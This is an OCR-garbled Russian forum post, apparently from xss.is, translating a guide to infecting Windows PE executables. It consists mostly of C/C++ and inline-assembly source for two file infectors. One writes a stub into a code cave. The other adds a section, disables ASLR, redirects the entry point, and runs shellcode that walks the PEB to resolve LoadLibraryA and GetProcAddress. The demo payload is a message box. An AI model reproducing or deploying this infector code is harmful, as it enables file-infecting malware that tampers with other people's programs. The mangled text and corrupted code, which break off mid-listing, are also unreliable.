CrtaTbsa [leTanbHbIU rang no 3apaxeHuto PE

& xss.is/threads/41974

3apakenue PE ¢daiiyioB - TeMa, KOTOPYIO A BCeT/ia CYNTAI COMHUTEIbHOU. 3yuas ee, a1
Bcer/ia yIycKajl HeKOTOpble YacTu I1asia... B 3Toil ctaThe A MONBITal0Ch IPOACHUTD 3TOT
BOIIPOC U HA/IEI0Ch, UTO OHA CTAHET XOPOIIed OTIIPABHOU TOYKOH J|JIf TeX, KTO XOUeT y3HaTh,
kak pabotaoT PE nHbeKTODBHI.

Xo4uy OTMETUTD, UTO 1 MUIILY 3Ty CTAThIO ¢ HAMepeHueM 00yuYuTh APyrux. Bel MoxkeTe HaUaTh
CBOIO JIesITeIbHOCTD ¢ 3apakeHus PE daiisioB, HO B KOHIIE KOHIIOB 51 HAaZIEIOCh, UTO BbI
nepeiieTe K HamvucaHUIo cpeAcTB 3anuThl PE daiiyioB u OyzieTe HCIIOIb30BATh ITOJyYeHHbBIE
3HAHUA B IO3UTUBHOM U 3TUUECKOM KJII0ue. MHOTOMYy MOKHO HAaYYUThCA B IIpoliecce
pa3paboTKu ¥ BHEIPEHUS TAKUX UHCTPYMEHTOB.

B GosipiHCTBE CBOEM 51 Oy/Iy UCIIOIb30BaTh A3bIK CH M BCTPOEHHBIH A3BIK acceMbiiepa u
II0/Ipa3yMeBaI0, YTO BbI IMeeTe KaK MUHUMYM OIIBIT HCI0JIb30BaHus Cu/sA3bIKa accemMmbiiepa.

Bo-miepBbIx, uTo Takoe PE daiin? Bel MokeTe IpounTaTh 06 5TOM I10 CJIEAYIONIEH CChLIKE:
Portable Executable

Bo-BTOpBIX, uTO Takoe ‘3apakenue PE ¢aiino’?

[To moemy MHeHUIO, 3apakenue PE ¢aitsioB — 310 mpocTo MeTo 100aBIeHus Kojia
(BpeOHOCHOTO0) B CKOMITUJIMPOBAHHBIN UCITOJTHAEMBIN (Daisi, ¢ COXpaHEHHEM ITpeKHEN
YHKIIMOHAIBPHOCTH (3TO 3HAYUT OH JIOJIKEH paboTaTh TaK, Kak Oy TO ero He MEeHsIN).

KoneuHo, yTo651 3apa3uth PE daiin Mbl OI2KHBI 3HATH €r0 CTPYKTYpPY. CyIecTByeT
MHOKECTBO JIOKYMEHTOB, OIIUCHIBAIOIIUX ee. f peKOMeH/1y10 BaM B3IJIAHYTb Ha CJIeIyIONIe
repes TeM, KaK IIPOJOJIKUTE YUTATD AAJIbIIIe:

Tunuunas crpykrypa PE daiina BeIyIAAuT Tak:
Code:

[MZ Header]

[MZ Signature]

[PE Headers]

[PE Signature]

[ IMAGE_FILE_HEADER] [IMAGE_OPTIONAL_HEADER]
[Section Table]

[Section 1] [Section 2] [Section n]

A ne ykaszaz 3arosoBok DOS, HO 3T0 He Tak KDUTUYHO. fI He CTaBJIIO TYT LieJIb PaccKa3aTh O
BHyTpeHHOCTAX PE dpopmara.


https://xss.is/threads/41974/
https://en.wikipedia.org/wiki/Portable_Executable

Buyrtpu IMAGE_OPTIONAL_HEADER y Hac siekaT yka3aTejau Ha pa3jInuHble KaTaJl0Tu
JIAHHBIX. DTU KaTaJIOTH OOBIYHO YKA3bIBAIOT, CPEAU IpoUero, Ha TabauIpl Import u
Relocation. MbI JOJI3KHBI COXPAaHUTH UJIH IIEPECTPOUTH 3TU KAaTaJIOTU CAMHU, ECJTH XOTUM HX
YHUUTOXKUTE... Hanipumep, ecyiu BbI mudpyeTe CEKIUI0, KOTOPAs COZEPKUT JIaHHbIE OTHOMN
U3 IUPEKTOPUI.

OcHoBHas ujies 3apakeHus PE - B Hauasie BCTaBUTH HAIIl KO, B CBOOO/THOE MECTO, IOMEHSATh
OPUTHHAJIBHYIO TOUKY BX07]a, YTOOBI OHA YKa3bIBAJIa HA HAIIl KOJI, BHIIOJIHUTD €r0, U 3aTeM
IPBITHYTh HA OPUTUHAJIBHYIO TOUKY BX0/1a, uTo0bl PE paboTan Tak, kak OyZITO U He
CYIIeCTBOBAJIO HAIIIETO KOZA.

[TceBmOKOA 3TOTO AITOPUTMA OY/IET BBITJIAZETD TAK:
e OTkpbIBaeM 11eJ1eBou (paiiu
* [IIpoBepsem Hamuuue curHatyp MZ u PE
e Hinem nocienosaresbHocTh NULL 6aliTOB, OT Hauasia mOC/JAeHEN CEKIITNHT
e Ilumem Ham Koj B HAalZIEHHOE CBOOO/THOE MECTO
e l3MeHaeM TeKyIyIo TOUKY BXO/ja Ha ajipec Halllero Kojia
e 3akpbiBaeM IeJieBOu (ailn

Xouy 06paTUTh BHUMaHHE, UTO CaM KOJ[, KOTOPBII MBI BCTaBJIsIEM — 3TO caMasi CJIOXKHas
4yacTh 3apakeHus PE, moueMy BbI 1oiimMeTe AaJjiblile.

Temnepp naBaliTe HAUHEM PeaIN30BbIBATH HAIII IICEBOKO/I. ..

HawMm Ha10 OTKpBITH (haiyT ¥ CMAIIIUTD €ro (3TO yIpocTUT MoauduKanuo). S He Oyay
00BACHATH, YTO JieJIaeT KaxkAbld BbI30B API, B sToM BaM momozkeT MSDN.

Crnenyronuii KycOK KO/ia IIOKa3bIBAET, KaK 3TO JIEJIaeTC:
C:



// PE Infecter by KOrUPt @ http://KOrUPt.co.uk
// fixed for mingw by sekio

#include <windows.h>

#include <stdio.h>

// fucking gcc wont let us use __ declspec(naked)

// so we have to fudge around this with assembler hacks
void realStubStart();

void realStubEnd();

void StubStart()
{

asm__(
".intel_syntax noprefix\n
".globl _realStubStart\n"
" _realStubStart:\n\t" // _realStubStart is global --~

// att syntax sucks

"pusha\n\t" // preserve our thread context
"call GetBasePointer\n"
"GetBasePointer:\n\t"
"pop ebp\n\t"
"sub ebp, offset GetBasePointer\n\t" // delta offset trick. Think relative...

"push @\n\t"

"lea eax, [ebp+szTitle]\n\t"
"push eax\n\t"

"lea eax, [ebp+szText]\n\t"
"push eax\n\t"

"push @\n\t"

"mov eax, OxCCCCCCCC\n\t"
"call eax\n\t"

"popa\n\t" // restore our thread context

"push @xCCCCCCCC\n\t" // push address of orignal entrypoint(place
holder)

"ret\n" // retn used as jmp

// i dont know about you but i like GCC;'s method of strings
// over MSVC :P

"szTitle: .string \"o hi\"\n"

"szText: .string \"infected by korupt\"\n"

".globl _realStubEnd\n"
" _realStubEnd:\n\t"

".att_syntax\n" // fix so the rest of gcc doesnt burp
)



// By Napalm
DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
{
WORD wSections;
PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders +
sizeof (IMAGE_NT_HEADERS));
for (wSections = @; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++)

{
if (dwFileAddr >= lpSecHdr->PointerToRawData)

{
if (dwFileAddr < (1lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData))
{
dwFileAddr -= 1pSecHdr->PointerToRawData;
dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr-
>VirtualAddress);
return dwFileAddr;

1pSecHdr++;

return NULL;

int main(int argc, char* argv[])

PIMAGE_DOS_HEADER pDosHeader;

PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSection, pSectionHeader;
HANDLE hFile, hFileMap;

HMODULE hUser32;

LPBYTE hMap;

int i = @, charcounter = 0;
DWORD oepRva = @, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 9;
unsigned char *stub;

// work out stub size
DWORD start = (DWORD)realStubStart;
DWORD end = (DWORD)realStubEnd;
DWORD stubLength = (end - start);

if (argc != 2)

{
printf("Usage: %s [file]\n", argv[@]);
return 0;
}
// map file

hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ |



FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)

{
printf("[-] Cannot open %s\n", argv[1l]);
return 0;

}

fsize = GetFileSize(hFile, ©0);

if (!fsize)

{
printf("[-] Could not get files size\n");
CloseHandle(hFile);
return 0;

hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, ©, fsize, NULL);
if (!hFileMap)
{

printf("[-] CreateFileMapping failed\n");

CloseHandle(hFile);

return 0;

hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
if (!'hMap)
{

printf("[-] MapViewOfFile failed\n");

CloseHandle(hFileMap);

CloseHandle(hFile);

return 0;

// check signatures
pDosHeader = (PIMAGE_DOS_HEADER)hMap;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("[-] DOS signature not found\n");
goto cleanup;

pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{

printf("[-] NT signature not found\n");

goto cleanup;

// korupt you need to tdo this more often fuck argh
if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386)



printf("[-] Not an i386 executable\n");
goto cleanup;

// get last section's header...

pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS));

pSection = pSectionHeader;

pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);

// save entrypoint
oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);

// locate free space
i = pSection->PointerToRawData;

for (; i != fsize; i++)
{
if ((char *)hMap[i] == 0x00)
{
if (charcounter++ == stubLength + 24)
{
printf("[+] Code cave located @ ©x%@81X\n", i);
writeOffset = i;
}
}
else charcounter = 0;
}
if (charcounter == @ || writeOffset == 0)
{
printf("[-] Could not locate a big enough code cave\n");
goto cleanup;
}

writeOffset -= stublLength;

stub = (unsigned char *)malloc(stubLength + 1);

if (!stub)

{
printf("[-] Error allocating sufficent memory for code\n");
goto cleanup;

// copy stub into a buffer
memcpy (stub, realStubStart, stubLength);

// locate offsets of place holders in code
for (i = @, charcounter = @; i != stubLength; i++)

{



if (stub[i] == excCC)

{
charcounter++;
if (charcounter == 4 && callOffset == 0)
callOoffset = i - 3;
else if (charcounter == 4 && oepOffset == 0)
oepOffset = i - 3;
}

else charcounter = 0;

// check they're valid
if (oepOffset == @ || callOoffset == Q)
{
free(stub);
goto cleanup;

hUser32 = LoadLibrary("User32.d11");
if (!'hUser32)

{
free(stub);
printf("[-] Could not load User32.dll");
goto cleanup;

}

// fill in place holders
*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
FreeLibrary(hUser32);

// write stub
memcpy ((PBYTE)hMap + writeOffset, stub, stubLength);

// set entrypoint
pNtHeaders->OptionalHeader.AddressOfEntryPoint =
FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;

// set section size

pSection->Misc.VirtualSize += stubLength;

pSection->Characteristics |= IMAGE_SCN_MEM _WRITE | IMAGE_SCN_MEM_READ |
IMAGE_SCN_MEM_EXECUTE;

// cleanup
printf("[+] Stub written!!\n[*] Cleaning up\n");
free(stub);

cleanup:
FlushViewOfFile(hMap, ©0);
UnmapViewOfFile(hMap);



SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
SetEndOfFile(hFile);

CloseHandle(hFileMap);

CloseHandle(hFile);

return 0;

}

Kop BbIIlIe 00BACHSET BCIO CYTh CIIOCO0A. ..

Astop metonia - KOrUPt http://korupt.co.uk
aBTOp mepeBojia https://www.orderofsixangles.com/translations/2020/06/09/detailed-
guide-to-pe-infection.html
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Emre oguH aerajbHBIN raing mo 3apa:keHuio PE

CeropHs 51 X04y BaM O0BACHUTH TOAPOOHO, UTO Takoe 3apakeHue PE. Tema /oBosibHA
CJIOJKHAs, HO B KOHIIe KOHIIOB NHTepecHast!

TpeboBaHus, YTOOBI TOHATH 3TO PYKOBOJICTBO:
* Ormununble 3HaHudA o PE
e Xoporiiee 3HaHHE A3bIKA acceMObiiepa
e Xoporiee 3HaHUE pabOTHI TAMATH, yKa3aTesiel u ¢GailyIoBbIX onepanui
e Tepnenue


http://korupt.co.uk/
https://www.orderofsixangles.com/translations/2020/06/09/detailed-guide-to-pe-infection.html
https://xss.is/members/174160/
https://xss.is/members/174160/
https://xss.is/members/174160/reactions-info

Haunewm!

i1 Hayasia Mel 106aBUM HOBYIO, mycTyio PE cexknuto. ITosyuus myTs k (aitty, Mbl
IIOJTHOCTBIO ero ynuTaeM, nposepseM DOS curnatypy, 4to6bl yoeuThes B BaaugHocTu PE,
IIPOBEPSIEM, SABJISETCS JIM OH UCTIOTHAEMBIM X86 (ailsioMm (3T0 OUeHBb BaXKHO, TAK KaK MBI
OyzteM BHEAPATDH X86 OIKO/IBI B IYCTYIO CEKITUIO), IIPOBEPsIEM, CYIIIECTBYET JIU YKe CeKITUs,
KOTOPYIO MbI XOTHM CO3/]aTh, U €CJIN BCe IIPOBEPKU IIPOIIEHBI - MBI CO3/Ia€M HOBYIO CEKIIHIO,
C 33JIaHHBIM pa3MepoM U xapakTepuctukamu. Koj, KoTopblil HalizieTe fasiee,
IIPOKOMMEHTHPOBAH U XOPOIIO O0BACHSAET IIPOUCXO/ISAIIEE.

Bce sT0 nlestaercsa (byHKuI/Ieﬁ AddSection . CTOUT OTMETHUTD, UTO METO/I, OIIMCAHHBIN 3/1€Ch
HCIIOIb3YyeT ¢aiiyl Ha AucKe, 0e3 MaIIIMHTa €ro B MaMATh U IIPOU3BOAUT UTEHHE/3aIIUCh TaM
’)ke. OH TakKe CUJIBHO OIUpaeTcs Ha ailioBble YKa3aTeu.

BTopas u camas cj10KHas 4acTh - 9TO 100aBJIEHHE KO/a B TOJIPKO YTO CO3/TAHHYIO CEKITHIO.
YT00OBI T0Ka3aTh pabOTOCIIOCOOHOCTH 3TOTO METOA, 51 JIeJIal0 CIIEIYIOIIEE:
1. JIo6aBJIsIF0 HOBYIO CEKITUIO
2. bepeM u coxpaHsieM ajjpec OPUTHHATILHOM TOUKH BXOJIa U3 Optional Header (3TO
ajzipec, OTKyZa IIporpaMMa HaurHaeT paboTy)
3. Mensiem OEP (opuruHasibHyI0 TOUKY BX0/1a), YTOOBI OHA YKa3bIBajia HA HAILY HOBYIO
CEKITHIO, IT03TOMY KOT7[a IT0JIb30BaTe b 3aIlyCTUT IIPOrPaMMy, OHa HAUHET BBITIOJTHSTD
HaIIl KO ¥ JieJIaTh Bce UTO MbI 3aX0THUM /IO TOro, Kak HauHeTCs BBIIIOJTHEHHE
OPUTUHAILHOTO KOJIa, IIOTOM HET BO3BPAT K OPUTHHAJIBHON TOUKE BXOJIa U
IIporpaMmMa paboTaeT, Kak HU B ueM HeObIBasio! B TaHHOM KOHKPETHOM CJIy4ae, s
II0KAa3bIBAI0 BCILIBIBAIOIIEE OKHO ¢ Hazmuchio “Hacked”!

BA?KHO!

Tak kak kernel32 3arpyskaeTrcs KaKJIblil pa3 IIpH Iepe3arpy3Ke 10 Pa3HbIM a/ipecaM, HaM

Hago IMHAMMWYECKU mnosiygaTh ee 6a30BBIN ajipec U3 PEB , YTOOBI MBI MOTJIM HAUTH

dyHKIHIO B Tab/IHIIE SKCIIOPTA IO/ Ha3BaHUEM LoadlLibraryA , BBI3BAaTh €€ ¢ apTyMEHTOM

" user32.d11l ", u mOTOM JIOCTaTh azpec GYyHKIUN MessageBoxA uU3 user32.dll , HCTIOIB3Ys
GetProcAddress . BCE 3TO JIOJIDKHO BBITh C/IEJTAHO BHYTPU HOBOM PE CEKIIMU,

KOTOPYIO MbI CO3JAJIN !!!

Kakum o6pa30M MBbI MOXKEM 3TO CI[e)IaTb? Hawm Hazmo IIOJIYYHTD OIIKOJbI 3 KOAA
aCCGM6JI€pHI)IX BCTABOK M 3aTEM CKOIIMPOBATH UX B HOBYIO CEKITUIO.

ITO MOXHO CZeJIaTh C IOMOIIBIO MIMKAPHOTO KOZa, HAIIMCAHHOTO wap2k, KOTOPHII 5
HasbiBalo self-read (self-read o3nauaer, 4To KOz caM BBIUHUCIISIET CMEILEHUE CEKI[UU T10

cepenuHe. /lasee s mpocTo OyAy UCIIOIB30BaTh cioBocouetanue self-read - mpum. mep.):
Code:



DWORD start(@), end(0);
__asm{
mov eax, locl
mov[start], eax
//we jump over the second __asm,so we dont execute it in the infector itself

jmp over
locl:
}
__asm{
//the opcode we want to create and copy to the new section
}
__asm{
over:
mov eax, loc2
mov [end],eax
loc2:
}

MbI co3ziaeM fiBe MeTKU B Kojie. OJTHA yKa3bIBaeT HA HAYAJIO CEKIIMH C OIKO/IAMU, ApyTas Ha
KoHell. Bropas accembiepHas BcTaBka (___asm B cepeinHe) - 3TO YTO Hac uHTepecyeT. Korga
MbI OTHUMA€eM aJ[pec KOHI[A OT aJ[peca Hayasia - Mbl II0JIy4aeM CMeIl[eHHe, TI0 KOTOPOMY MbI
JTOJIKHBI CKOITUPOBATh MOXOAAIINH KO/ (B cepe/iuHe), 6€3 KOMMMPOBAHUS OCTaTbHbIX
OIIKO/IOB, YTOOBI HE HAPYIIUTH IIEJIOCTHOCTh BHEJIPSIEMOTO KO/IA.

MpbI mIepernphIruBaeM KOJI B Cepe/InHe, YTOOBI HE UCIIOTHATD €r0 IPU 3aPaXKeHU U, UCTIOJIb3Y
WHCTPYKIMIO jmp (jmp HA MeTKy " over ").

Teneps, BHYTPU CEKIIUH B cEpPe/INHE, MBI UIlleM 0a30BbIi afipec kernel32.dll , uiiem
dyHKIUM LoadlLibraryA U GetProcAddress i nmoaydeHus azapeca MessageBoxA u
BBI30BAa €r0 ¢ HY>KHBIM TEKCTOM!

ITocse Toro, KaK MbI HAIILJIU U BBI3BAIN 3TU QYHKIIUU (BBI30B U IOUCK IIPOU3BOAUTCA
3apaskeHHBIM PE, Haj1er0ch BBI 3TO y3Ke MOHSIN), HAaM HaJ[0 MPBITHYTH Ha3aJT K
OPUTHHAJIBHOMY KOJY IIPOTPaMMBbI (BXOJTHOH TOUKe)!

Tak xak 3HaueHne OEP (opuruHasbHasI TOUKA BX0/]a) XPAHUTCS B IEpEMEHHOU BHYTPH KO/Ia
MH(EKTOPA U €CJIH MBI XOTUM CChLJIAThCS HA HETO U3 OMKOZIOB, TO self-read xox 3amoHuT
HeJIeCTBUTEILHBIH aJIpec, TaK KaK MbI YKa’KeM Ha TO, YTO CYII[eCTBYET TOJIbKO 371eCh, 4 HE Ha
CEKITHIO JAHHBIX 3apayKEHHOU MpOorpaMMBbl. PellieHre: Mbl IOMECTHUM 3aTJIYIIKY CO
sHayeHneM oxdeadbeef, uToObI T03Ke epe3anucarh Tyza OEP.

Mpr1 OyzieM mepe3anuchIBaTh 3aTIyIIKy BOT TaK:
C++:



if (*invalidEP == @xdeadbeef){
DWORD old;
VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old);
*invalidEP = OEP;

Ko mpokoMMeHTHPOBaH, HO 51 Oy/y MOJIpoOHO 00BACHATH MpobeMHbIe yaacTku! f cefiuac
Ha paboTe U MHcaj 3TO pyKOBOJICTBO OBICTPO, KaK TOJIBKO MOT, II03TOMY Oy/ly paccka3bIBaTh
noapoOHo !!!

Bor cam ko
C++:



#include <windows.h>

#include <imagehlp.h>

#include <winternl.h>

#include <stdio.h>

#pragma comment(lib, "imagehlp")

DWORD align(DWORD size, DWORD align, DWORD addr){
if (!(size % align))
return addr + size;
return addr + (size / align + 1) * align;

int AddSection(char *filepath, char *sectionName, DWORD sizeOfSection){

HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, O,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (file == INVALID_HANDLE_VALUE){
CloseHandle(file);
return 0;
}
DWORD fileSize = GetFileSize(file, NULL);
if (!fileSize){
CloseHandle(file);
// nycton ¢ann, 4TO AenaeT ero HefenCTBUTENbHbIM
return -1;
}
// Tenepb Mbl 3HAaeM CKO/JIbKO MamMATM Ham Hajo gnAa 6ydepa
BYTE *pByte = new BYTE[fileSize];
DWORD dw;
// 4uTaem Becb ¢ainn, 4TO6b MONYYUTb AJOCTYN K UHPopmauuum o PE
ReadFile(file, pByte, fileSize, &dw, NULL);

PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
if (dos->e_magic != IMAGE_DOS_SIGNATURE){
CloseHandle(file);
return -1; // HeBanuaHbli PE
}
PIMAGE_NT_HEADERS NT = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);
if (NT->FileHeader.Machine != IMAGE_FILE_MACHINE_I386){
CloseHandle(file);
return -3;// 64 6UTHbIA daitn
by
PIMAGE_SECTION_HEADER SH = IMAGE_FIRST_SECTION(NT);
WORD sCount = NT->FileHeader.NumberOfSections;

// npoxogum Mo BCeM AOCTYMHbIM CEKUMAM U CMOTPUM,
// cywecTByeT M yxe Ta, KOTOPYHW Mbl XOTUM [06aBUTb
for (int 1 = @; i < sCount; i++){
PIMAGE_SECTION_HEADER x = SH + 1i;
if (!strcmp((char *)x->Name, sectionName)){



0);

//PE cekuua yxe cyuwecTByeT
CloseHandle(file);
return -2;

ZeroMemory (&SH[sCount], sizeof(IMAGE_SECTION_HEADER));
CopyMemory (&SH[sCount].Name, sectionName, 8);
// Mbl ucnonbsyem 8 6alT ANA UMEHU CeKUWUM, MOTOMY UYTO 3TO MaKCUMasbHO pa3peleHHas AJIMHA

// BCTaBnseM BCH Heobxoaumykw MHbOpMaLMKW O Hawei HoBol PE cekuuwu
SH[sCount].Misc.VirtualSize = align(sizeOfSection, NT->OptionalHeader.SectionAlignment,

SH[sCount].VirtualAddress = align(SH[sCount - 1].Misc.VirtualSize,
NT->OptionalHeader.SectionAlignment, SH[sCount - 1].VirtualAddress);

SH[sCount].SizeOfRawData = align(sizeOfSection, NT->OptionalHeader.FileAlignment, 0);

SH[sCount].PointerToRawData = align(SH[sCount - 1].SizeOfRawData,
NT->OptionalHeader.FileAlignment, SH[sCount - 1].PointerToRawData);

SH[sCount].Characteristics = OxEOQQQOOEQ;

/*

OXEQOOROE® = IMAGE_SCN_MEM_WRITE |
IMAGE_SCN_CNT_CODE |
IMAGE_SCN_CNT_UNINITIALIZED DATA |
IMAGE_SCN_MEM_EXECUTE |
IMAGE_SCN_CNT_INITIALIZED DATA |
IMAGE_SCN_MEM_READ

*/

SetFilePointer(file, SH[sCount].PointerToRawData + SH[sCount].SizeOfRawData, NULL,

FILE_BEGIN);

// ycTaHaBnauBaem KoHel ¢daina Ha NocaefHww cekuun + pasmep daina
SetEndOfFile(file);

// Tenepb meHAaem pa3mep ob6bpasa, 4YTO6bl OH COOTBETCTBOBA/ HaWUM MOAUPUKALMAM,
// nobaBneHuem HOBOW ceKkuuu. Pa3mep Tenepb cTan b6onblue
NT->OptionalHeader.SizeOfImage = SH[sCount].VirtualAddress + SH[sCount].Misc.VirtualSize;
// Tak Kak Mbl fobaBnfeM HOBYW CEKLMW, TO MEHAEM WX KOJIU4eCTBO
NT->FileHeader.NumberOfSections += 1;

SetFilePointer(file, @, NULL, FILE_BEGIN);

// W B KOHEYHOM UTOre 3anucbiBaem pe3ynbTaT Hawux mogudukauuin B ¢ann
WriteFile(file, pByte, fileSize, &dw, NULL);

CloseHandle(file);

return 1;

bool AddCode(char *filepath){

HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE,



0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (file == INVALID_HANDLE_VALUE){
CloseHandle(file);
return false;
}
DWORD filesize = GetFileSize(file, NULL);
BYTE *pByte = new BYTE[filesize];
DWORD dw;
ReadFile(file, pByte, filesize, &dw, NULL);
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);

// OYEHb BAXHO

// ECIW BKJIWYEH ASLR - 3TO PABOTATb HE BYHAET !!!

// PeweHune: OTknw4yaiTe ASLR =))

nt->0OptionalHeader.Dl1Characteristics &= ~IMAGE_DLLCHARACTERISTICS_DYNAMIC_ BASE;

// Tak Kak Mbl 006aBUAM HOBYH CeKLMW, OHa byaeT nocnegHen

// NoO3TOMy Mbl AOJIKHbI [O6paTbCA A0 MOCNefHel CeKuMM W BCTaBUTb HaWW CeKpeTHble AaHHble
PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt);

PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1);

SetFilePointer(file, @, ©, FILE_BEGIN);
//coxpaHAeM OpUrUHaNbHYKW TOYKY BXOAA
DWORD OEP = nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase;

// Mbl MEHAEM OpPUruHaNbHYKW TOYKY BXOAA Ha agpec nocaefHen cexkuuu
nt->0OptionalHeader.AddressOfEntryPoint = last->VirtualAddress;
WriteFile(file, pByte, filesize, &dw, 0);

// nony4aem onkogpl
DWORD start(@), end(0);
__asm{
mov eax, locl
mov[start], eax
//Mbl Mponyckaem BTOpPYW accembnepHyi BCTaBky (__asm)
//4TO6bl HE UCNONHATbL €e B CaMOM Koje MWHpeKkTopa
jmp over
loc1l:

__asm{

/*
CMbicn 3TOro Kycka koja B 4TeHun 6as3oBoro agpeca kernel32.dll
u3 PED, npocmoTp Tabauupl skcnopTa (EAT) ¥ nouck ¢yHKUMiA

*/

mov eax, fs:[30h]

mov eax, [eax + ©@xOc]; 12

mov eax, [eax + ©x14]; 20

mov eax, [eax]

)



mov eax, [eax]
mov eax, [eax + 0x10]; 16

mov  ebx, eax; // bepem 6a30Bbin agpec kernel32

mov  eax, [ebx + ©x3c]; // VMA 3aronoska PE

//(virtual memory address - agpec BupTyasbHOW NaMATM - MNpuM.nep.)

mov  edi, [ebx + eax + 0x78]; // OTHOCuTenbHoe cMelleHMe Tabauupl dKCnopTa
add edi, ebx; // VMA Tabnuupl 3kcnopTa

mov  ecx, [edi + ©x18]; // KOAU4eCTBO WMeH

mov  edx, [edi + ©x20]; // OTHOoCMTenbHOe cMeweHWe Tabauupl UMeH
add  edx, ebx; // VMA Tabnuubl UMeH
// Tenepb paBanTe NoCcMOTpuM Ha ¢yHKuuw LoadlLibraryA

LLA :
dec ecx
mov esi, [edx + ecx * 4]; //coxpaHsieM OTHOCUTE/IbHOE CMelWeHue WMEHMU
add esi, ebx; //YcTaHaBnuBaem B esi - VMA TeKylwero MMeHu
cmp dword ptr[esi], ©x64616f4c; //obpaTHbii nopsgok 6aiT L(4c)o(6f)a(61)d(64)
je LLALOOP1
LLALOOP1 :
cmp dword ptr[esi + 4], 0x7262694c
;L(4c)i(69)b(62)r(72)
je LLALOOP2
LLALOOP2 :
cmp dword ptr[esi + 8], 0x41797261; //TpeTbe cnoBo = a(61)r(72)y(79)A(41)
je stop; //npbiraem Ha meTKy stop, NMOTOMY YTO Mbl HaWIM €ro
jmp LLA; //Load Libr aryA
stop :
mov  edx, [edi + ©x24]; // Tabauua OTHOCUTE/IbHLIX MOPAAKOBbIX HOMEpOB OYHKLMIA
add edx, ebx; //Tabnuua nopAAKOBbIX HOMEPOB QYHKLMMA
mov  cx, [edx + 2 * ecx];// nopsAkoBbii HOMep OYyHKLUU
mov edx, [edi + ©x1c];// Tabauua OTHOCUTE/IbHLIX aApPecoB CMeEWeEHWN
add edx, ebx;// Tabnuua agpecos
mov  eax, [edx + 4 * ecx]; //cmeweHue nopAanKoOBOro Homepa
add eax, ebx; // VMA ¢yHKuUMK
// Tenepb EAX copepxuT appec LoadlLibraryA

sub esp, 11
mov ebx, esp
mov byte ptr[ebx], ©x75; u

mov byte ptr[ebx + 1], Ox73; s
mov byte ptr[ebx + 2], Ox65; e
mov byte ptr[ebx + 3], 0x72; r
mov byte ptr[ebx + 4], 0x33; 3
mov byte ptr[ebx + 5], 0x32; 2
mov byte ptr[ebx + 6], Ox2e; .
mov byte ptr[ebx + 7], 0x64; d
mov byte ptr[ebx + 8], @x6c; 1
mov byte ptr[ebx + 9], @x6c; 1



mov byte ptr[ebx + 10], 0x0

push ebx

//Bbi3biBaem LoadlLibraryA c aprymeHTom user32.dll

call eax;

add esp, 11

//coxpaHaem agpec Bo3BpaTa LoadlLibraryA pgna nocnepywwero Mcnosb30BaHUA B

GetProcAddress

push eax

// cHoBa uwem ¢yHkuuw GetProcAddress
mov eax, fs:[30h]

mov eax, [eax + ©@xOc]; 12

mov eax, [eax + ©x14]; 20

mov eax, [eax]

mov eax, [eax]

mov eax, [eax + 0x10]; 16

mov  ebx, eax; //6a3o0Bblin agpec kernel32

mov  eax, [ebx + ©x3c]; //VMA 3aronoska PE

mov  edi, [ebx + eax + 0x78]; //OTHocuTenbHoe cMeleHMe Tabauupl dKCnopTa
add edi, ebx; //VMA Tabnuupl 3KcnopTa

mov  ecx, [edi + ©x18]; //KonuyecTBO MMeH

mov  edx, [edi + ©x20]; //OTHocuTenbHoe cMeleHUe Tabauubl MMeH
add edx, ebx; //VMA Tabnuupl uMeH

GPA :
dec ecx
mov esi, [edx + ecx * 4]; //coxpaHAemM OTHOCUTENbHOE CMeleHUe UMEeHMU
add esi, ebx; //YcTaHaBnuBaem B esi - VMA TeKylero MMeHMu
cmp dword ptr[esi], ©x50746547; //obpaTHbii nopspok 6anT G(47)e(65)t(74)P(50)
je GPALOOP1
GPALOOP1 :
cmp dword ptr[esi + 4], 0x41636f72
// NOMHUTe npo ob6bpaTHbIl nopsafok : ) r(72)o(6f)c(63)A(41)
je GPALOOP2
GPALOOP2 :
